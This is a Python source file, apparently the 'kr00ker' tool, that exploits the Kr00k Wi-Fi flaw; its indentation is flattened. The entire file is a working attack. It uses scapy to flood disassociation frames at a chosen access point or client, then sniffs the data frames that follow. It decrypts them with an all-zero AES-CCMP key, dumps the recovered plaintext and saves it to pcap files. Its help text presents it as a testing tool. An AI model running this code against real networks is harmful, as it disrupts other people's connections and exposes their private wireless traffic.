import argparse, threading
import datetime, sys, re
from scapy.all import *
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
from Cryptodome.Cipher import AES
LOGO = """\
__ _____ ______ _________
(/ )(_ \ /\/\(/ )(__)(_ \\
)() /(0 )(0 ))() _)) /
(__\_)(__\_) \__/\__/(__\_)(____)(__\_)
"""
KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00'
class Krooker:
def __init__(self, interface, target_mac, other_mac, reason, num, delay):
self.interface = interface
self.target_mac = target_mac
self.other_mac = other_mac
self.reason = reason
self.num = num
self.delay = delay
def wpa2_decrypt(self, enc_pkt):
t_key = bytes.fromhex("00000000000000000000000000000000")
if not enc_pkt.haslayer(Dot11CCMP):
return None
dot11 = enc_pkt[Dot11]
dot11ccmp = enc_pkt[Dot11CCMP]
PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0)
source_addr = re.sub(':','',dot11.addr2)
if enc_pkt.haslayer(Dot11QoS):
tid = "{:01x}".format(enc_pkt[Dot11QoS].TID)
else:
tid = '0'
priority = tid + '0'
ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN)
enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8)
decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8])
return decrypted_data
def disassociate(self):
dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason)
while True:
time.sleep(self.delay)
print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac)
sendp(dis_packet, iface=self.interface, count=self.num, verbose=False)
def check_packet(self, sniffed_pkt):
if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP):
dec_data = self.wpa2_decrypt(sniffed_pkt)
if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN:
print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes")
hexdump(dec_data)
print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder")
dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:]
wrpcap("enc_pkts.pcap", sniffed_pkt, append=True)
wrpcap("dec_pkts.pcap", dec_pkt, append=True)
def run_disassociation(self):
try:
self.disassociate()
except KeyboardInterrupt:
print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")
return
def main():
parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>")
parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str)
parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str)
parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str)
parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1)
parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0)
parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap")
parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1")
parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4")
args = parser.parse_args()
print(LOGO)
try:
interface = args.interface
ap_mac = args.bssid.lower()
client_mac = args.client.lower()
reason = args.reason
target_channel = args.wifi_channel
n_pkts = args.number
delay = args.delay
if target_channel in range(1, 14):
os.system("iwconfig " + interface + " channel " + str(target_channel))
else:
print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid")
exit(1)
if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff":
print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid")
exit(1)
if reason not in range(1,99):
print("Exiting, specified a not valid disassociation Reason ID: "+str(reason))
exit(1)
if args.target == "client":
target_mac = client_mac
other_mac = ap_mac
print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target")
else:
target_mac = ap_mac
other_mac = client_mac
print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target")
krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay)
k_th = threading.Thread(target=krooker.run_disassociation)
k_th.daemon = True
k_th.start()
s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data"
sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet)
except KeyboardInterrupt:
print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")
k_th.join()
sys.exit(0)
except scapy.error.Scapy_Exception:
print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode")
sys.exit(1)
if __name__ == "__main__":
main()